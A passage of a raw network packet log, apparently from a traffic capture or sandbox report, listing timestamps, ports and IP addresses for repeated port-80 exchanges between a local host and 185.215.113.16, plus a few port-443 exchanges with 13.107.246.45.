Nov 21, 2024 07:10:12.434998989 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.435050964 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.435786963 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.435839891 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.435898066 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.435954094 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.436623096 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.436693907 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.436757088 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.436808109 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.437531948 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.437583923 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.437634945 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.437688112 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.438376904 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.438431025 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.438532114 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.438581944 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.439291000 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.439341068 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.439554930 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.439610958 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.440171003 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.440205097 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.440264940 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.440310001 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.441042900 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.441088915 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.441138983 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.441188097 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.441927910 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.441981077 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.442051888 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.442097902 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.442811966 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.442869902 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.442928076 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.442969084 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.443700075 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.443768978 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.443815947 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.443861008 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.444610119 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.444678068 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.444710970 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.444756985 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.445506096 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.445564985 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.445656061 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.445703030 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.446382046 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.446436882 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.446466923 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.446516991 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.447257042 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.447316885 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.447359085 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.447405100 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.448241949 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.448307037 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.593772888 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.593822956 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.593835115 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.593857050 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.594090939 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.594134092 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.594252110 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.594295025 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.594965935 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.595007896 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.595079899 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.595124960 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.595863104 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.595909119 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.595952988 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.595987082 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.596776962 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.596827030 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.596956968 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.597002029 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.597630978 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.597690105 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.597815990 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.597860098 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.598519087 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.598557949 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.598618984 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.598655939 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.599420071 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.599467993 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.599644899 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.599690914 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.600358009 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.600411892 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.600441933 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.600480080 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.601186991 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.601289988 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.601296902 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.601334095 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.602130890 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.602170944 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.602176905 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.602216005 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.602958918 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.603044033 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.603049040 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.603085041 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.603882074 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.603935957 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.603956938 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.604001045 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.604744911 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.604827881 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.605194092 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.605238914 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.605612040 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.605655909 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.605739117 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.605775118 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.606491089 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.606530905 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.606590986 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.606626987 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.607378960 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.607422113 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.607485056 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.607522011 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.608275890 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.608313084 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.608331919 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.608369112 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.609160900 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.609203100 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.609232903 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.609270096 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.610033035 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.610074997 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.610147953 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.610192060 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.610917091 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.610955954 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.611006975 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.611046076 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.611805916 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.611845970 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.611917019 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.611953974 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.612696886 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.612739086 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.612808943 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.612854958 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.613574028 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.613620996 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.613678932 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.613713980 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.614449024 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.614511013 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.614550114 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.614587069 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.615341902 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.615395069 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.615436077 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.615472078 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.616274118 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.616321087 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.616350889 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.616386890 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.617135048 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.617185116 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.617213964 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.617252111 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.617991924 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.618038893 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.618062973 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.618108988 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.618866920 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.618904114 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.618993044 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.619049072 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.619761944 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.619806051 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.619882107 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.619926929 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.620652914 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.620698929 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.620738029 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.620779991 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.621521950 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.621557951 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.621695042 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.621741056 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.622435093 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.622479916 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.622545004 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.622581959 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.623321056 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.623359919 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.623389006 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.623429060 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.624253988 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.624303102 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.624316931 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.624331951 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.625077963 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.625117064 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.625235081 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.625272989 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.625981092 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.626024961 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.626101971 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.626142979 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.626841068 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.626884937 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.626940012 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.626981974 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.627723932 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.627767086 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.627857924 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.627897978 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.628647089 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.628701925 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.628732920 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.628776073 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.629514933 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.629559994 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.629647970 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.629689932 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.630399942 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.630443096 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.630530119 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.630572081 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.631334066 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.631377935 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.631407976 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.631450891 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.632189035 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.632230997 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.632294893 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.632335901 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.633054018 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.633096933 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.633167028 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.633208990 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.633925915 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.633970976 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.634048939 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.634089947 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.634816885 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.634880066 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.634921074 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.634960890 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.635715008 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.635761023 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.635803938 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.635844946 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.636590958 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.636632919 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.636733055 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.636775970 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.637476921 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.637522936 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.637599945 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.637641907 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.638359070 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.638402939 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.638480902 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.638523102 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.639260054 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.639311075 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.639406919 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.639450073 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.640109062 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.640151978 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.704109907 CET	443	49759	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.704170942 CET	443	49759	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.704240084 CET	49759	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.704567909 CET	49759	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.704567909 CET	49759	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.704607964 CET	443	49759	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.704632044 CET	443	49759	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.707802057 CET	49774	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.707873106 CET	443	49774	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.707968950 CET	49774	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.708132982 CET	49774	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:12.708162069 CET	443	49774	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:12.785643101 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.785676003 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.785715103 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.785738945 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.785870075 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.785916090 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.785998106 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.786060095 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.786792040 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.786815882 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.786869049 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.786869049 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.787632942 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.787657022 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.787702084 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.787702084 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.788259983 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.788304090 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.788458109 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.788501978 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.789135933 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.789180994 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.789186954 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.789230108 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.790040016 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.790082932 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.790157080 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.790199995 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.790952921 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.791013002 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.791022062 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.791057110 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.791810989 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.791862011 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.791903973 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.791948080 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.792686939 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.792728901 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.792793036 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.792834044 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.793556929 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.793607950 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.793668032 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.793704033 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.794445992 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.794501066 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.794543982 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.794589996 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.795334101 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.795386076 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.795425892 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.795469999 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:12.796224117 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:12.796276093 CET	49765	80	192.168.2.4	185.215.113.16
